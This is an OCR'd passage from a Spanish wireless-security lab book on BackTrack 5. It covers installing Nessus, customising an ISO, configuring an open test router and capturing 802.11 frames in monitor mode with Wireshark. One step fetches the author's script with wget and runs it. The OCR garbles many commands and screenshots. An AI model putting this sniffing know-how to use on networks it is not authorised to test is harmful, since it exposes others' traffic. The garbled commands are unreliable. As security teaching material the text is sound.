paquetes que se encuentran instalados en nuestra maquina. Si se da algin
problema, el paquete se dejard intacto con la version actual (Figura 2.31).

Figura 2.31. Actualizacion de paquetes en un sistema Linux

v apt-get dist-upgrade. Actualiza toda la distribucion de BackTrack
a su ultima version. Asi, si desea actualizar su version a la 5R3, bastaria
con usar este comando y olvidarse de reinstalar toda la distribucion.
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2.12 INSTALACION DE HERRAMIENTAS ADICIONALES

Aunque BackTrack viene con muchisimas herramientas, algunas veces
necesitard instalar aplicaciones adicionales, bien porque no estan incluidas por
defecto en BackTrack 5, bien porque desee tener su tltima version.

Lo aconsejable siempre es buscar si la herramienta que deseamos instalar se
encuentra en los repositorios. Si la encuentra, instélela desde alli; en caso contrario,
realice la nstalacion desde la pagina web del autor.

Para buscar un paquete en los repositorios, use el comando apt-cache
search <nombre del paquete>. Siencuentra el paquete y desea obtener mas
informacion, escriba apt-cache show <nombre del paquete>.

S1 desea instalar el paquete, escriba apt-get install <nombre del
paquete>.

Veamos un ejemplo de como instalar el escaner de vulnerabilidades Nessus
desde la pagina web del fabricante.

2.12.1 Nessus

Es un programa de escaneo de vulnerabilidades en diversos sistemas
operativos. Consiste en un demonio, nessusd, que realiza el escaneo en el sistema
objeto, y nessus, el cliente que muestra el avance e informa sobre el estado de los
escaneos.

En operacion normal, Nessus comienza escaneando los puertos con Nmap
para buscar puertos abiertos y después intentar varios exploits para atacarlo.

Opcionalmente, los resultados del escaneo pueden ser exportados como
informes en varios formatos, como texto plano, XML, HTML y LaTeX. Los
resultados también pueden ser guardados en una base de conocimiento para referencia
en futuros escaneos de vulnerabilidades.

Algunas de las pruebas de vulnerabilidades de Nessus pueden causar que los
servicios o sistemas operativos se corrompan y caigan. El usuario puede evitar esto
desactivando unsafe test antes de escanear.
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Desde la version 3, Nessus no forma parte de los repositorios de BackTrack,
puesto que dejo de ser de codigo abierto. No obstante, podemos instalarlo
gratuitamente desde la pagina de Tenable, la empresa que lo comercializa. Para
ello, acceda a http://www.tenable.com/products/nessus y descargue la version para
Ubuntu 10.04, el nucleo de BackTrack 5. Para instalarlo, escriba en un terminal
dpkg -i Nessus-5.0.2-ubuntu910 i386.deb (Figura2.32).

Figura 2.32. Instalacion de Nessus con el gestor de paquetes dpkg

A continuacion, siga estos pasos:

1. Escriba en la consola /opt/nessus/sbin/nessus-adduser para
afiadir un usuario al programa.

2. Pida el codigo de activacion mediante el formulario presente en su sitio
web (Figura 2.33). Tenable se lo enviara a su correo electronico.

Register a HomeFeed

To stay up-to-dale with the NESSUS PRQINS you MUSE register with & vala
emai andress 1o Which an actvalion cooe wil b sent Your data will nol be
| shared with any 3rd party

FIRST MAME | }

LAST name |

e | J
[ Check to receve updates from Tenabie
 Register

Figura 2.33. Formulario de registro de Nessus
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3. Registre el software escribiendo en la consola:
# /opt/nessus/bin/nessus-fetch --register <cédigo>
4. Inicie Nessus tecleando /etc/init.d/nessusd start.

5. Por ultimo, abra su navegador de Internet y conéctese a https://
localhost:8834 (Figura 2.34).

Nessus
N7,

@ TENABLE

Figura 2.34. Pantalla inicial de Nessus

2.13 PERSONALIZAR BACKTRACK

Una vez que tenga instalado y configurado BackTrack 5R3 puede proceder
a actualizarlo con las Gltimas versiones de los paquetes, para corregir alguno de los
siempre presentes errores de software, asi como para lograr nuevas funcionalidades.
Esta actualizacion puede suponer una descarga adicional de 400 o 500 MB, lo que
dependiendo de la velocidad de la conexion a Internet puede ser tedioso. Asi mismo,
si necesita instalar BackTrack en mas de una mdaquina, el proceso seria ain mads
pesado.

La solucion pasa por crear una imagen ISO con todas las actualizaciones ya
instaladas. De este modo, si desea otra vez instalar BackTrack 5, podra hacerlo desde
el nuevo disco imagen.
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Al adaptar BackTrack a las necesidades de cada usuario, podremos
configurarlo para instalaciones posteriores. Piense por ejemplo en situaciones donde
no se requieran las herramientas de seguridad suministradas por el programa o, por
el contrario, aquellas en las que desea afiadir software adicional. Basta con crear
una nueva imagen [SO para ganar un tiempo precioso. Ya no tendra que instalar,
desinstalar o configurar de nuevo aquellos paquetes que ya ha dejado listos en su
primera instalacion.

Para crear una imagen ISO actualizada de BackTrack es obligatorio antes
instalarlo en el disco duro, bien mediante una instalacion tradicional, bien como
entorno virtual. Posteriormente, siga estos pasos:

1. Actualice BackTrack 5 a su ultima version con los comandos:

# apt-get update
# apt-get dist-upgrade

2. Cree un directorio temporal de trabajo para la creacion de la imagen.
Puede llamarle ISO, por ejemplo:

# cd ~ && mkdir ISO

3. Copie la imagen de BackTrack 5R3 (BT5R3-GNOME-32.is0) al
directorio ISO que acaba de crear:

# cp BTS5R3-GNOME-32.iso IS0

4. Descargue el guion de personalizacion de BackTrack:

# wget davidarboledas.es/bt/bt5.sh

5. Mueva el fichero al directorio ISO de trabajo:

# mv bt5.sh IS0

6. Pase al directorio ISO, cd IS0,y dé permisos de ejecucion al archivo
bt5.sh con el comando chmod 755 bt5.sh.

7. Ejecute el archivo de drdenes escribiendo . /bt5.sh. Si todo ha ido
bien, comenzara la ejecucion del guidn (Figura 2.35).
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(

| hackl trackg I

Figura 2.35. Ejecucion del guion de personalizacion

8. Cuando haya acabado, lo que lleva algo de tiempo, actualice los paquetes
de BackTrack:

# apt-get update
# apt-get dist-upgrade

9. Y, a continuacion, borre del repositorio local los paquetes recibidos
durante la descarga:

# apt-get clean

10.Modifique su distribucion de BackTrack 5 afiadiendo o eliminando el
software que desee:

# apt-get install/remove <paguete>

11.Y cuando crea conveniente, genere la nueva imagen ISO escribiendo
exit. Tenga en cuenta que este proceso puede llevar bastante tiempo,
pues el archivo tendrd mas de 3 GB.

12.Una vez que haya acabado, pruebe como le ha quedado la imagen
generada:

# gemu -cdrom bt5-mod.iso

13.En la lista del menu de arranque elija Start BackTrack in text mode y
pruebe los paquetes de software que haya instalado. Sino hay problemas,
la imagen seréd plenamente funcional.
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2.14 CONFIGURACION DEL PUNTO DE ACCESO

Una vez que tenemos las maquinas preparadas, el siguiente paso es configurar
el punto de acceso (en adelante, PA).

Como ya mencionamos, para escribir esta monografia hemos empleado
como PA un router inalambrico Linksys E3000, que soporta los protocolos de
interconexion 802.11abgn y de cifrado WEP/WPA/WPA2. No obstante, puede
usar cualquier enrutador inaldmbrico que tenga instalado para llevar a cabo las
experiencias propuestas en este libro.

Lo primero que vamos a hacer es configurar una red abierta, sin cifrado, de
nombre SSID Laboratorio. Los pasos que debemos dar para este router de Cisco,
que variaran ligeramente para otras marcas y modelos, son los siguientes:

1. Conecte el router a la tarjeta Ethernet de su portatil Windows mediante
un cable de red UTP.

2. Introduzca en el navegador web la direccion IP del PA. En nuestro caso
seria http://192.168.1.1. Para saber cual es la direccion de Internet de su
router, abrauna consola en Windows (Inicio > Ejecutar [Buscar] > cmd)
y escriba ipconfig. La direccion [P de su punto de acceso apareceré
como Puerta de enlace predeterminada (Figura 2.36).

1\Users\David>ipconfig

onfiguracidn IP de windows

tador de Ethernet Conexidn de drea local:

Estado de Tos medios. . . . . . . . . .. : medios desconectados
Sufijo DNS especifico para la conexién. . :

Adaptador de LAN inaldmbrica Conexidn de red inaldmbrica:

sufijo DNS especifico plrl la (oﬂlné
vinculo: direccion IPvE local. , . : fe80: 4b8 704: 724! 3f8%11
Direccion IPWI. . . « o o v w s o s & & » 3 10

.

Puerta de enlace predeterminada . . . . . 5

ndaptador de Ethernet VirtualBox Host-Only Network:
sufijo DNS especifico para 1a conexion.

vinculo: direccion IPvE local. . . : fe80::cd91:f187:5909:3242%19
Direccion IPvd4 de confmurac!bn a.utom&hca 169.254.50.66
Miscara de subred . . . . . . . . . . .. % i 255.255.0.0

Puerta de enlace predeterminada . . . . . £

Figura 2.36. Intérprete de comandos de Windows con la configuracion de red
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Una vez que haya contactado con el router, aparecerd una pantalla de
autenticacion en la que debera identificarse para administrar su PA
(Figura 2.37).

Seguridad de Windows

El servidor router en Linksys E3000 requiere un nombre de usuanio y una
contrazeda.

Advertencia: este tervidor es14 solicitando que su nombre de usuario y
contraseds se envien de forma no seguns {autenticacion basica sin
conexdion segura).

M=

¥ Regordar mis credenciales

(L Aceptr ] [ Cancea ]

Figura 2.317. Autenticacion en el punto de acceso

3. Ahora, en la pestafia Inalimbrico, introduzca como nombre de la red
SSID, Laboratorio y guarde los cambios (Figura 2.38).

Inalambrico

Vista de configuracion

Moda de red

Vomtre de o red (S50) (=]

Ancho ge canal Aviemibico (70 0 80 mz) =

Cansl mptimbico Auto (OFS) =

Ditusien de 550 " Actwado @ Desactivado
2.46:: Wogo de rea Mg L

Nomere Se la red (S50) Laborstons

Ancho de canst Sl 20 uHz 4

Canal £ -

Ovuan ge SSO

Figura 2.38. Configuracion de la red inalambrica
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4. De forma similar, dirijjase a la pestaina Seguridad inalimbrica y en
modo de seguridad, seleccione desactivado (Figura 2.39).

Inalambrico

Configqurssion INSIMBINCG Seguridad

Segurdad inaldmbiica
da 5 GHi

SCpOOUS B2 eGL2Ga130mn

Seguriiad inaldmbrica
de 24 GHy

Figura 2.39. Configuracion del modo de seguridad inalambrica

Esto indica que la red estara completamente abierta y que cualquiera que
esté en su rango de cobertura podra acceder a ella.

5. Guarde los cambios y reinicie el router si asi se lo pide. Desde este
momento ya dispone de una red abierta de nombre Laboratorio. Para
comprobarlo, haga clic en el icono de redes inalambricas de Windows
y observe que entre las diversas redes detectadas se halla una con SSID
Laboratorio (Figura 2.40).

Conectado actualmente &

*‘,’3 Cisco Linksys E-3000
Acceso a Inlemet

Conexdn de red inatambnica

Laboratono m

WiF#72378 Nombre: Laboratorio
[ntensidad de s sefal: Bxcelente

Orsnge-a9b4 [Tipo de sequndad: No sequre]
oo d dice 802 T1n

WLAN OC

WLAN_A2

Comtrend
HEG102556C4F
WLAN 8604

Abuir Centro de redes y recursos compartidos

Figura 2.40. Redes inalambricas de Windows
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El hecho de que Windows indique que es una red insegura se debe a que,
precisamente, es una red sin ningtin protocolo de seguridad, lo que implica
que cualquiera dentro del alcance de la misma puede conectarse, y lo hara.

‘ﬂ Asegurese siempre de no tener la red abierta, salvo que lo necesite para

ADVERTENCIA DE SEGURIDAD

realizar algunas pruebas, como las aqui comentadas.

Puesto que una red abierta es la menos segura de todas, seria buena idea
que el lector probara a configurar su red inalambrica mediante el empleo
de los protocolos WEP y WPA/WPA2. Més adelante, no obstante,
mostraremos como realizar ataques contra estos estandares de cifrado.

2.15 CONFIGURACION DE LA INTERFAZ INALAMBRICA

Independientemente de que vayamos a utilizar la tarjeta integrada del
portatil, como ha sido nuestro caso, o a emplear el adaptador tipo USB de Alfa
Networks, el paso siguiente consistira en detectar la configuracion del adaptador de
red. Para ello, siga estos pasos:

1.
2,

Si emplea un adaptador tipo USB, conéctelo a dicho puerto.

Una vez conectado, o si va a emplear la tarjeta integrada de su portatil,
micie BackTrack.

Abra una consola y teclee iwconfig. Se mostrard una pantalla como la
mostrada en la figura 2.41.

-]

back | track 5

Figura 2.41. Configuracidn de los adaptadores de red
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Como ve, la interfaz inalambrica creada por el adaptador de red que
tenemos se llama wlan0.

TRUCO

con el método abreviado Ctrl + Alt + t.

=

4. Teclee ahora los siguientes comandos para ver el estado de la interfaz
inaldmbrica:

# ifconfig wlan0 up
# ifconfig wlan0

Fijese ahoraen que lainterfazwlan0 se encuentra habilitada (UP). Observe,
asi mismo, que también aparece la direccion MAC (00:22:5f:2e:39:6b)
del adaptador de red (Figura 2.42).

root@bt:

back | track (=

Figura 2.42. Estado de la interfaz inalambrica wlan0

Anote ahora en el siguiente recuadro la direccion fisica, MAC, de su
adaptador de red inalambrico:

(.
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2.16 CONECTARSE AL PUNTO DE ACCESO

................................................................................................................................................................................

En estos momentos ya estamos en condiciones de contactar con nuestro
enrutador y autenticarnos en la red Laboratorio desde nuestro ordenador con
BackTrack. Como la red estd abierta, no hemos de preocuparnos de contrasefia

alguna.
Para establecer la conexion siga estos sencillos pasos:

1. En primer lugar, compruebe a qué redes inaldmbricas podria conectarse
al estar en su rango de cobertura. En un terminal, introduzca el comando
iwlist wlan0 scanning. Enseguida encontrara la red con SSID
Laboratorio, que en nuestro caso aparecia como Cell 02 (Figura 2.43).
No se preocupe si su red aparece en otra posicion, pues en absoluto es
relevante.

bac&i_ ack

Figura 2.43. Escaneo de redes inalambricas

2. Verifique ahora que la MAC que aparece en el campo Address es la de
su router. Normalmente encontrard esta direccion en una pegatina bajo
el punto de acceso; si no es asi, abra una consola y escriba arp -a. Le
aparecera la IP de su PA y su MAC. Esta comprobacion es importante,
pues podria darse el caso de que existieran varias redes con el mismo
SSID, pero no puede haber dos puntos de acceso con la misma MAC.
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A continuacion, anote en los recuadros siguientes las direcciones de
Internet y fisica de su router:

P MAC

¥ I

3. Teclee ahora en el terminal el comando iwconfiy wlan0 essid
Laboratorio para conectarse y, después, iwconfig wlanO para ver el
estado de la red.

Si la conexion se ha realizado satisfactoriamente vera el nombre de la red
en el campo ESSID y la direccidn fisica del punto de acceso en el campo
Access Point (Figura 2.44).

back | track [=

d

Figura 2.44. Conexi6n a la red abierta Laboratorio

4. Ya sabemos que nuestro enrutador tiene una direccion de Internet
192.168.1.1. Ahora vamos a dar a nuestro ordenador la direccion IP
192.168.1.2 dentro de la misma subred, que como es de clase C, sera
255.255.255.0. Teclee entonces, ifconfig wlan0 192.168.1.2
netmask 255.255.255.0 up.

(Como podriamos ahora comprobar que todo ha ido bien? Introduzca en
el mismo terminal i fconfig wlan0 y observe como la direccion MAC
de su tarjeta tiene asignada la IP que acaba de darle (Figura 2.45).



© RA-MA Capitulo 2. EL CAMPO DE PRUEBAS 67

Figura 2.45. Asignacion de una IP a la interfaz inalambrica wlan0

5. Haga un ping hacia el PA mediante el comando ping 192.168.1.1.
Si la conexion se ha establecido con éxito, deberd ver las respuestas
del punto de acceso. Tras cuatro o cinco respuestas pulse Ctrl + C para
parar el proceso (Figura 2.46). Adicionalmente, puede usar el comando
arp -—a para verificar que estas respuestas proceden de su router.

Figura 2.46. Comprobacion de la conexion entre el PAy el ordenador

Algunos PA pueden tener deshabilitada esta funcion por motivos de
seguridad. Si este es su caso, entre en el panel de control de su router.
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6. Dentro del panel de control, busque alguna opcion que le permita sacar
el registro de comunicaciones o ver qué dispositivos estan dados de
alta. Observe entonces como la direccion MAC de su tarjeta de red esta
asociada a su router (Figura 2.47).

afea]n
CISCO

Tabia de chentes DHCP
Dreccon P ||

tombre de chente| Interfaz Direccion IP | Direccion MAC -

] halimbrico-0 | 132.1681.2 | 00:225F 283868 | 232828 Eiminar
| DavidPortati | aldmbrico-N | 192.168.1.901 | ACS:A22F 2168 | 248N Elmnar

| Actwskzyc i Cernr |

Figura 2.47. Dispositivos asociados al router ordenados por su IP

jEnhorabuena! Ha conseguido establecer una conexion con su punto de
acceso desde BackTrack.

Ahora que ha aprendido a unirse a una red inalambrica abierta a través de su
punto de acceso, le proponemos que proteja su conexion con el protocolo de cifrado
WEP y establezca una conex1i6n con su router desde la consola de BackTrack. Pista:
escriba en el terminal el comando man iwconfig para obtener la ayuda necesaria.

2.17 AUTOEVALUACION 2

¥ ;. Qué requisitos debe cumplir el adaptador inalambrico que utilicemos
con BackTrack?

¥ (Con qué comando arrancamos BackTrack en modo gréfico?

W ;Pueden realizarse las diferentes pruebas de intrusién y deteccion
empleando el Live CD de BackTrack? ;Para qué se recomienda entonces
hacer una instalacion en el disco duro?

¥V (Coémo verificamos que nuestra tarjeta inaldmbrica es reconocida y
plenamente funcional en BackTrack?

V' ;Qué funcion tiene el comando route —n? ;Y arp —a?



DEBILIDADES EN LAS REDES WI-FI

Las redes inaldmbricas de area local, conocidas como WLAN, constituyen
el sistema de comunicacion por excelencia en entornos domésticos y empresariales
para prescindir de los inconvenientes de disefio y escalabilidad de las redes de area
local cableadas.

Al utilizar ondas de radio para transmitir la informacion de un punto a
otro sin necesidad de un medio fisico guiado que actie como canal, se favorece
la interconexion de muy diversos equipos. Sin embargo, esto que a priori es una
enorme ventaja, también se convierte en su peor desventaja en lo que a seguridad
se refiere pues, al menos en teoria, cualquier receptor inalambrico que se encuentre
en el rango de accion de la WLAN podria conectarse a ella. Esto se debe a que estas
redes, por su propio diseflo, poseen ciertas vulnerabilidades que son relativamente
faciles de explotar, tales como la suplantacion de identidad por parte de una maquina
(spoofing) y la inyeccion o escucha de paquetes (sniffing).

3.1 TRAMAS A NIVEL MAC

Aunque presuponemos en el lector unos conocimientos minimos sobre
como se transmite la informacion en las redes inalambricas de area local, daremos
un rapido repaso para que le sea més facil comprender luego los diferentes vectores
de ataque desarrollados a lo largo de la obra.

La comunicacion en las redes WLAN ocurre en tramas. Una trama es una
unidad de envio de datos, el equivalente a paquete de datos en el nivel de enlace
de datos del modelo OSL.
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Normalmente, una trama estara formada por una cabecera, datos y cola. En
la cabecera se encuentran los campos de control de protocolo. La parte de datos es
la que contiene la informacion que se va a transmitir en el nivel de red y en la cola
suele estar algiin chequeo de errores (Figura 3.1).

Bytes

2 2 6 6 6 2 6 2 0-2312 4

Figura 3.1. Estructura de una trama 802.11 a nivel MAC

Describamos ahora un poco mas los campos mas relevantes de estas tramas:

P Control de trama. Los dos bytes de este primer campo estan formados
por otros diferentes, entre los que destacan por su importancia los
siguientes:

e Protocolo: indica la version 802.11.

e Tipo: nos dice si la trama es de datos, de control o de gestion.

e Trama protegida: establece si los datos del campo Frame Body estan
o no cifrados.

¥ Duracién. Se utiliza para el célculo de tiempo.

¥ Campo de direcciones. Indica las direcciones del emisor y receptor
final, entre otras.

Como acabamos de decir, el campo tipo del control de trama indica si la
trama es de:

¥ Datos. Estas tramas son responsables del envio de informacion a través
de una red inalambrica.

P Control. Son responsables de asegurar un correcto intercambio de datos
entre el punto de acceso (PA) y los distintos clientes de la red. Pueden ser
de tres subtipos: RTS, CTS y ACK.
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P Gestion. Se encargan de mantener la comunicacion entre los PA y los
clientes. A su vez, pueden tener distintos subtipos, de los que no vamos
a hablar al carecer de relevancia para conseguir el objetivo perseguido
por la obra.

Las implicaciones de cada una de estas tramas en la seguridad de una
WLAN se discutiran en los sucesivos capitulos cuando desarrollemos cada uno de
los ataques.

3.2 CAPTURA E INYECCION DE PAQUETES

Vamos a comenzar a desarrollar la parte practica de este capitulo
introduciéndonos en el mundo de las escuchas de los paquetes intercambiados en una
WLAN. El primer paso consistira en crear una interfaz para su tarjeta inalambrica,
bien esté integrada en su portatil, bien sea una externa de Alfa Networks. De este
modo, se encontrara ya preparado para poder leer todas las tramas inalambricas que
circulen por una red. La creacion de esta interfaz inaldmbrica es lo que se conoce
como modo monitor (RFMON).

3.2.1 Modo monitor

El modo monitor es una de las seis maneras en las que una tarjeta inalambrica
802.11 puede operar. Este modo permite monitorizar y capturar todo el trafico que
circula por una red inalambrica sin la necesidad de asociarse a ningin punto de
acceso o red ad hoc.

Generalmente, ningun adaptador inaldmbrico es capaz de transmitir en
modo monitor, y, ademds, se encuentran restringidos a un tnico canal; aunque,
l6gicamente, dependera del tipo de chip que porte y de su firmware. Asi mismo, es
importante sefialar que en modo monitor el adaptador no revisa si los valores CRC
(Cyclic Redundancy Check) de los paquetes capturados son correctos, por lo que
tendremos que asumir que algunos de ellos seran corruptos.

Para poner su tarjeta en modo monitor, siga estos pasos:
1. Arranque BackTrack en modo gréfico, abra un terminal y teclee iwconfig

para confirmar que se ha detectado su tarjeta y que los drivers se han
cargado adecuadamente.
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2. A continuacion, use el comando ifconfig wlan0 up para habilitar la
tarjeta e i fconfig wlanO para confirmar que esta funcionando. Deberia
ver el atributo UP en la segunda linea (Figura 3.2).

e foo

Figura 3.2. Habilitacion de la tarjeta de red inalambrica

3. Para poner ahora la tarjeta en modo monitor, debe usar el comando
airmon-ng, que es una utilidad que por defecto carga BackTrack. Esta
muestra las tarjetas disponibles. Deberia ver la interfaz creada (wlan0),
el tipo de chipset y su driver en la consola (Figura 3.3).

back | track [5

Figura 3.3. Interfaces, chipsets y drivers de las distintas interfaces inalambricas
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4. Ahora introduzca airmon-ng start wlan0 paracrear una interfaz de
wlan0 en modo monitor. Para verificar que todo ha ido bien introduzca
en el terminal airmon-ng. Veremos que se ha creado una interfaz nueva
de nombre mon0 (Figura 3.4). Ahora usaré esta nueva interfaz, junto con
Wireshark, un programa de captura de paquetes, para monitorizar los
paquetes que circulan en su espacio radioeléctrico.

hack | track E ~

Figura 3.4. Interfaz de wian0 en modo monitor

3.2.2 Monitorizacion de paguetes

Wireshark es una aplicacion libre integrada en BackTrack que se emplea
para analizar todo el trafico que pasa por una red. Permite capturar y navegar por los
paquetes recibidos, asi como obtener informacion detallada de los mismos. Cuenta
con un completo lenguaje para filtrar lo que desea verse e incluye la posibilidad de
mostrar el flujo reconstruido de una sesion de TCP.

Comencemos a manejar Wireshark:

1. Configure de nuevo la red inaldmbrica Laboratorio en su punto de
acceso tal y como aprendié en el Capitulo 2.

2. Abra un terminal en BackTrack y escriba en la linea de comandos
Wireshark&. Una vez que se inicie la aplicacion, seleccione
Capture > Interfaces (Figura 3.5).
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x Wireshark: Capture Interfaces
IP Packets Packets/s
anknowrn ]

unknown, 0 { lStartHOphonsJ

unknown 14 ,suann Opuons]

Pseudo-device that captures on all interfaces (nknown Start || Options

Figura 3.5. Interfaces de captura en Wireshark

—

TRUCO
Puede acceder rapidamente al menu de interfaces de captura mediante el
método abreviado Ctrl + 1.

3. Haga clic en el boton Start, que se encuentra a la derecha de la interfaz
monl), para capturar los paquetes. Enseguida vera que estos comienzan a
aparecer en la ventana de Wireshark (Figura 3.6).

m’n‘nmﬁrm?’n“a": ) :% : Il! !I 5} Beocon Trase, S-1001, Tied, Flagse € BI=180, 5510

470 4373607 TisMo-Ld ESic1i0 Broadcast 20211 343 Baacon frame, SNe1B)), FNS, Flagis. .€, BI=109, 3510+
422 20670004 CISK0LE 03:c2:00 Broadcast a2 0l 343 Beacon fraze, SN=1004, Fis9, Flagee. €. BI=i00, 5510=
42124000420  Cisee-Ld 83:c1 W0 Bresdrast Wi 343 Beacen frase, SNel00S, Fiedl, Fligse €. Bl=lt, S810=
A24 24 802735 Cidco-Li @3:c2:08  Wrsadcast =20 3 Bescen Trane, SH=1038, Fueg, Flages €, Bi=109, 55i0=
475 24985172 Ciscacnd @Sc2ide Wrosatant »a MY Beacea Trame, SNe18)), Fisd, Flagis €. W=100, 5510+
A 300172 Ciste-ld #Sahi e Brasstmt LB 3 Beacon Trone, fnelods, Fued, Flagie €, Bl=100, $510+
A7 13 090031 Cisce Ll @3 el M0 Broadiant LR M5 Beaces fraee, SH=101Y, FY=9, Flagis €, Bl=100, $5l0-
420 737901900 Uil R0 Brosdiast sn 345 Beacon frase, SN=1040, FN=4, Flage=, . ......C, BI=100, 55J0=
410 3. 90052 Cisco-Li @i Brosscast LA 343 Beacon Trase, SN=l041. FPisd, Flagss €. Bl=109, 531D~
AN AMY Cisce-Ld 9l e Braadiast L2 M3 Peacon Trame, SH=1042, f=d, Flagye €. BI=109, 5510=
431 23,5673 Casco bl 0h:c: 8 Broadont wrn 343 Beacom frase, SH=ipd), Fu=d, Flagss €, B=109, 510+
432 23092100 Cisco-Ld #%:c2:06 Araasesst LAY M3 Beaces frame, SMelDAd, Fusd, Flagws €. Rinlo0, SSID=

» Frame 1: 145 bytes on wire (276 Dits), 345 bytes captured (2760 bits)
- Radiotap Weader vO, Length 26

= TEEE 862.11 Beacon frase, Flags: .. ......C

= IEEE 802,11 wireless CAN managenent frame

pace oo 0o |lﬂ?

poie 10 B2 & 0% W0

pode 1f 1f Af 11 8 ¢

II}‘ 80 27T 9 ll
=

Figura 3.6. Captura de paquetes con |a interfaz mon0 en Wireshark

4. En la ventana central, conocida como panel de detalles, aparece

informacion relativa al paquete seleccionado en la ventana superior. Pulse
en el simbolo +, frente a IEEE 802.11 de la trama de gestion WLAN, para
expandirla y ver informacion adicional (Figura 3.7).
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5. Observe las diferentes cabeceras del paquete y correlacionelas con los

distintos tipos de tramas vistas al principio del capitulo.

Capturing from mon0® [Wireshark 1.6.5 (SVN Rev Unknown from unknown)]

No.  Time  Soure _Destination Potocol »
6 0.469648  Cisco-L1 05:c2:30 802. | 34 B . SN=131, FN=0,
70.614397  Cisco-Li 05:¢2:30 , SN=133, FN=8, |

88.716763  Cisco-Li 05:c2:30 Broadcast 862.11 294 Beacon frame, SN=134, FN=O, |
5 0.819167 Cisco-Li 05:c2:30 Broadcast 862.11 294 Beacon frame, SN=135, FN=8. |
10 0.87963@  CestekTe 2f:31:e6 (TA Cisco-Li 05:¢2:30 (RA 802.11 46 Request-to-send, Flags=.....
11 0.879637 GemtekTe 2f:31:e6 (RA 802.11 40 Clear-to-send, Flags=.......
12 0.879733  Cisco-Ll 85:c2:30 (TA GemtekTe 2f:31:e6 (RA 802.11 5880211 Block Ack, Flags=,...
13 8.879853 GemtekTe 21:31:e6 (RA 882.11 49 Acknowledgement, Flags=....

© 14/0.880880  fe@D::4bH:704c:7248:3'1102::1:1138:30a6  ICMPVE 134 Weighbor Solicitation for fei,

g ] .

'« Frame 7: 294 bytes on wire (2352 bits), 294 bytes captured (2352 bits)
+ Radiotap Header v, Length 26
+ IEEE 862.11 Beacon frame, Flags: ........ C
~ IEEE 802.11 wireless LAN management frame

= Fixed parameters (12 bytes)
Timestamp: ©x0600000014fa5193
Beacon Interval: 0.102400 [Seconds]

;.

= Tagged parameters (228 bytes)
*+ Tag: SSID parameter sel: Laboratoric
4 Tag: Supported Rates 1(B), 2(B). 5.5(8), 11(8), 18, 24, 36, 54, [Mbit/sec]

0038 50 68 93 51 fa 14 00 00 00 00 64 00 L 0 6 P..0.... ..o .
Laborate rio.....

0040 4c 61 62 6f 72 61 74 6 72 69 6f 0] 08 82 84 8d

0658 96 24 38 48 6¢ 63 01 81 65 04 01 63 60 66 2a 81 .seMl... ......".

0060 ©0 2f 01 00 32 04 0c 12 1860 2d 1a fc 18 b ff  ./..2... ."~.....

0070 ff 66 00 00 00 00 00 00 OO GO GO GO 0O DO GO 00 ..., ... ...\ ..,

0080 ©0 00 00 00 00 00 3d 16 ©1 68 15 00 00 60 00 00 ...... | T —
00 08 R Latialine dakine 3.

Figura 3.7. Informacion detallada de un paquete capturado

6. La parte inferior de la ventana de Wireshark, el panel de bytes, muestra

los datos del paquete seleccionado con la salida caracteristica de los
editores hexadecimales (Figura 3.8).

Figura 3.8. Panel inferior de Wireshark

Wireshark es capaz de capturar miles de paquetes en un instante, por
lo que sin un filtro adecuado, el trabajo de analizar el trafico de la red
podria ser desalentador. Esto es precisamente lo que vamos a hacer ahora,
aprender a usar los filtros.
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3.2.2.1 FILTROS EN WIRESHARK

Para obtener informacion de las distintas tramas de datos, control y gestion
en una red inalambrica, siga, paso a paso, las siguientes instrucciones:

1. Para filtrar las tramas de gestion de los paquetes capturados, introduzca
el filtro wlan.fc.type == 0 en la ventana de filtros y pulse el boton

Apply (Figura 3.9).

« Capturing from mon0 [Wireshark 1.6.5 (SVN Rev Unknown from unknown)]

| Info

M'_ II:M_

i

Broadcast

1 .000000 Cisco-L1 05:¢2:30 294 Beacon

3 0.102396 Cisco-Li 05:c2:30 Broadcast 802.11 294 Beacon frame, SN=128, FN=0,
4.0.204773 Cisco-Ll 05:€2:30 Broadcast 202.11 294 Beacon frame, SN=129, FN=0,
58.307273 Cisco-Li ©5:c2:30 Broadcast 802.11 294 Beacon frame, SN=130, FN=08,

60.409648  Cisco-Li 05:¢2:30 Broadcast 294 Beacon
7 6.614397 Cisco-Li 85:¢2:38 Broadcast 294 Beacon
B80.716763  Cisco-Li 05:¢2:30 Broadcast 802,11 294 Beacon frame, SN=134, FN=0,
9 0.819167 Cisco-Li 05:¢2:38 Broadcast 862.11 294 Beacon frame, SN=135, FN=0, |
150.921670  Cisco-Li 05:c2:30 Broadcast 802.11 294 Beacon frame, SN=137. FN=O, [»

Figura 3.9. Tramas de gestion

2. Para ver las tramas de control, ponga el filtro wlan.fc.type == 1
(Figura 3.10).

* Capturing from mon0 [Wireshark 1.6.5 (SVN Rev Unknown from unknown)]

10 0.879630  GemtekTe 2f:31:e6 (TA Cisco-Li 05:¢2:30 (RA 802. 46 Request-to-send, Flags=..... |
11 0.879637 GemtekTe 2f:31:e6 (RA 802. 40 Clear-to-send, Flags=.......
12 0.879733  Cisco-Li 05:¢2:30 (TA GeatekTe 2f:31:e6 (RA 802.11 58 802.11 Block Ack, Flags=,...
13 0.879853 GemtekTe 2f:31:e6 (RA 802.11 40 Acknowledgement, Flags=.....
17 1.085893 GentekTe 2f:31:e6 (RA 802.11 40 Acknowledgement, Flags=....

30 1.891775  GeatekTe 2f:31:e6 (TA Cisco-Li 05:¢2:30 (RA 802.11 46 Request-to-send, Flags=.....
31 1.891780 GemtekTe 2f:31:e6 (RA 802.11 40 Clear-to-send, Flags=.......
32 1.891999  Cisco-Li 05:¢2:30 (TA GemtekTe 2f:31:e6 (RA 802.11 58862.11 Block Ack, Flags=....|s

Figura 3.10. Tramas de control
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3. Paralas tramas de datos, aplique el filtrowlan. fc. type == 2 (Figura3.11).

Figura 3.11. Tramas de datos de los paquetes capturados

4. Si deseara filtrar las tramas de baliza (beacon frames), que el punto de
acceso transmite periddicamente para anunciar la presencia de una red
inalambrica, puede usar el filtro wlan.fc.type subtype == 0x08
(Figura 3.12).

En el manual de Wireshark, que puede encontrar en Attp.//www.wireshark.
org/docs, o en el material complementario, hallard una completisima guia
sobre los diversos filtros que pueden aplicarse.

mond [Wireshark 1.6.5 [SVN Rev Unknown from unknown)]

_ource Uests LA o =
Cisco L1 Broadca . 294 Beacon frame,
Cisco

o R

50.307273 Cisco-Li O Broadcast . 294 Beacon frame,

6 0.469648  Cisco-Li 05:c2:30 Broadcast 294 Beacon frame, SN=131, A

7 0.614397 Cisco-Li @5:c2:30 Broadcast 882.11 294 Beacon frame, SN=133, FN=9, 1|
